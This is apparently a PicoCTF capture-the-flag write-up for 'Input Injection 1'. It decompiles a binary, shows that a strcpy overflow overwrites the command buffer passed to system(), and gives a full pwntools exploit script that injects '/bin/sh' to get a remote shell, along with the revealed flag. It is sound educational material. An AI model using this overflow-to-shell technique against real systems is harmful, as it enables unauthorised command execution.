Post

PicoCTF - Input Injection 1

PicoCTF Writeup for Input Injection 1 Challenge

PicoCTF - Input Injection 1

PicoCTF Challenge: https://play.picoctf.org/practice/challenge/525?category=6&page=1

Input Injection 1

Author: Yahaya Meddy

Description

A friendly program wants to greet you… but its goodbye might say more than it should. Can you convince it to reveal the flag?
Additional details will be available after launching your challenge instance.

Hints

1st - Look closely at how the program stores and uses your input.

Resources:

Source Code: /vuln.c
Binary: /vuln

Decompile

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
int __fastcall main(int argc, const char **argv, const char **envp)
{
    char s[208]; // [rsp+0h] [rbp-D0h] BYREF

    puts("What is your name?");
    fflush(stdout);
    fgets(s, 200, stdin);
    s[strcspn(s, "\n")] = 0;
    fun(s, "uname");
    return 0;
}

int __fastcall fun(const char *a1, const char *a2)
{
    char v3[10]; // [rsp+1Ch] [rbp-14h] BYREF
    char dest[10]; // [rsp+26h] [rbp-Ah] BYREF

    strcpy(dest, a2);
    strcpy(v3, a1);
    printf("Goodbye, %s!\n", v3);
    fflush(stdout);
    return system(dest);
}

The code above is the decompiled source code from a binary. Let me summarize it more concisely.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
int main(int argc, const char **argv, const char **envp)
{
    char input_string[208];

    puts("What is your name?");
    fflush(stdout);
    fgets(input_string, 200, stdin);
    input_string[strcspn(input_string, "\n")] = 0;
    fun(input_string, "uname");
    return 0;
}

int fun(const char *input_string, const char *command)
{
    char input_buffer[10];
    char command_buffer[10];

    strcpy(command_buffer, command);
    strcpy(input_buffer, input_string);
    printf("Goodbye, %s!\n", input_buffer);
    fflush(stdout);
    return system(command_buffer);
}

Analysis

Security Check

1
2
3
4
5
6
7
8
9
10
rusty@rusty-TravelMate-P214-53:~/Documents/01_PicoCTF/02_Input Injection 1$ checksec ./vuln
[*] '/home/rusty/Documents/01_PicoCTF/02_Input Injection 1/vuln'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No
Security FeaturePresent
RELROPartial RELRO
StackNo canary found
NXNX enabled
PIENo PIE (0x400000)
SHSTKEnabled
IBTEnabled
StrippedNo

Vulnerability

This program has a BOF (BufferOverFlow) vulnerability in fun() function. The input_buffer variable can take 10 bytes of data. However, in main() function, fgets() function take a user input up to 200 bytes. This means we can perform a BOF attack using input_buffer variable.

1
2
3
4
5
6
rusty@rusty-TravelMate-P214-53:~/Documents/01_PicoCTF/02_Input Injection 1$ ./vuln
What is your name?
test
Goodbye, test!
Linux

It seems like the program is running with no errors, successfully executing uname command using system() function before exiting.

Let’s try to fuzz the input_string variable and find the offset of the command_buffer variable.

1
2
>>> import string;string.printable
'0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$%&\'()*+,-./:;<=>?@[\\]^_`{|}~ \t\n\r\x0b\x0c'
1
2
3
4
5
6
rusty@rusty-TravelMate-P214-53:~/Documents/01_PicoCTF/02_Input Injection 1$ ./vuln
What is your name?
0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ
Goodbye, 0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!
sh: 1: abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ: not found
Segmentation fault (core dumped)

Since the string abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ appears, it indicates that the offset is:

1
2
>>> len('0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'.split('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ')[0])
10

Therefore, after 10 bytes of characters, I can overwrite the command_buffer variable which will ultimately execute an arbitrary code using system() function.

Exploit Script

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
from argparse import ArgumentParser
from pwn import *

def generate_payload():
    offset = 10
    
    payload = b'A' * offset
    payload += b"/bin/sh"
    
    return payload

def main(target: str, port: int):
    print(f"[~] Connecting to [{target}]:{port}...")
    s = remote(
        host=str(target),
        port=int(port)
    )
    response = s.recvline().decode()
    print(f"[+] Received responses: {len(response)}B")

    payload = generate_payload()
    print(f"[+] Payload has been generated: {len(payload)}B")

    s.sendline(payload)
    print(f"[+] Payload has been delivered.")

    print("[~] Switching to the interactive shell (/bin/sh)...")
    s.interactive()


if __name__ == "__main__":
    parser = ArgumentParser(
        prog="PicoCTF Exploit - Input Injection 1",
        description="PicoCTF RCE Exploit (PicoCTF - Input Injection 1)"
    )
    parser.add_argument(
        "-t", "--target",
        required=True,
        type=str
    )
    parser.add_argument(
        "-p", "--port",
        required=True,
        type=int
    )

    args = parser.parse_args()

    context.log_level = 'warning'

    main(args.target, args.port)

Result

1
2
3
4
5
6
7
8
9
10
11
12
13
rusty@rusty-TravelMate-P214-53:~/Documents/01_PicoCTF$ python3 ./02_Input\ Injection\ 1/exploit.py -t amiable-citadel.picoctf.net -p 61741
[~] Connecting to [amiable-citadel.picoctf.net]:61741...
[+] Received responses: 19B
[+] Payload has been generated: 17B
[+] Payload has been delivered.
[~] Switching to the interactive shell (/bin/sh)...
Goodbye, AAAAAAAAAA/bin/sh!
$ whoami
ctf-player
$ ls
flag.txt
$ cat flag.txt
picoCTF{0v3rfl0w_c0mm4nd_3185bc8f}$  

Therefore, the flag is: picoCTF{0v3rfl0w_c0mm4nd_3185bc8f}

This post is licensed under CC BY 4.0 by the author.